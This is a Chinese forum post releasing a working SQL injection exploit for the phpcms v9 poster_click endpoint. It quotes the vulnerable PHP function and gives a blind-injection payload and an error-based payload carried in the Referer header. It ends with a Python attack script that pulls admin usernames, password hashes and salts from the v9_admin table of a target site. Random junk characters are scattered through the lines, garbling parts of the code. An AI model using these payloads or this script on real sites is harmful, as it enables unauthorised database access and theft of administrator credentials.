phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
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) o, c% Y! \0 ?问题函数\phpcms\modules\poster\index.php

, L+ \  u  R9 {public function poster_click() {
5 ]4 M. r0 F; T& f; X$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
  f+ q& A/ L" z1 ~$ Lif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
- J5 p. [( \8 s0 A$area = $ip_area->get($ip);
7 t  O# U4 i6 T5 R: l1 f$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
3 d' j2 {$ }, Y( Z0 Q0 N8 i" r7 \$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
' d& x1 N% y  I2 B5 d' N$ Jif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
8 d- T5 J( _0 q9 E3 L$ T$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
: d2 v- H( y2 X6 Q0 ^/ B, Hheader('Location: '.$url);
, @5 s1 c3 ?4 i6 L2 \2 B0 P  P5 [}

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, G! |# G* N8 K6 O' x) S1 e利用方式：
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1、可以采用盲注入的手法：

. |) m' ]; o6 ~! V, S; Treferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
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通过返回页面，正常与否一个个猜解密码字段。
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2、代码是花开写的，随手附上了：

! d; N( g1 }& U8 {. s% ~1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
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此方法是爆错注入手法，原理自查。
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$ d7 j/ L  c3 O+ Z) h8 C利用程序:

#!/usr/bin/env python
import httplib,sys,re
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def attack():
print “Code by Pax.Mac Team conqu3r!”
1 A; I& f: }. ^print “Welcome to our zone!!!”
8 ~+ N, w4 {2 Kurl=sys.argv[1]
paths=sys.argv[2]
conn = httplib.HTTPConnection(url)
1 @% b! R8 K4 j& a: Z$ @i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
9 B+ \& a* X$ R& b( N. E) M1 F“Accept”: “text/plain”,
$ y# B/ q- b4 O“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
* ]$ f( c- M0 B9 d# I, Jr1 = conn.getresponse()
; p2 u, j/ D6 X/ I/ C7 }datas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
conn.close()
if __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
- c* L8 w* J+ [print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
. v" P& C. S" @' @, h9 x, lsys.exit(1)
attack()

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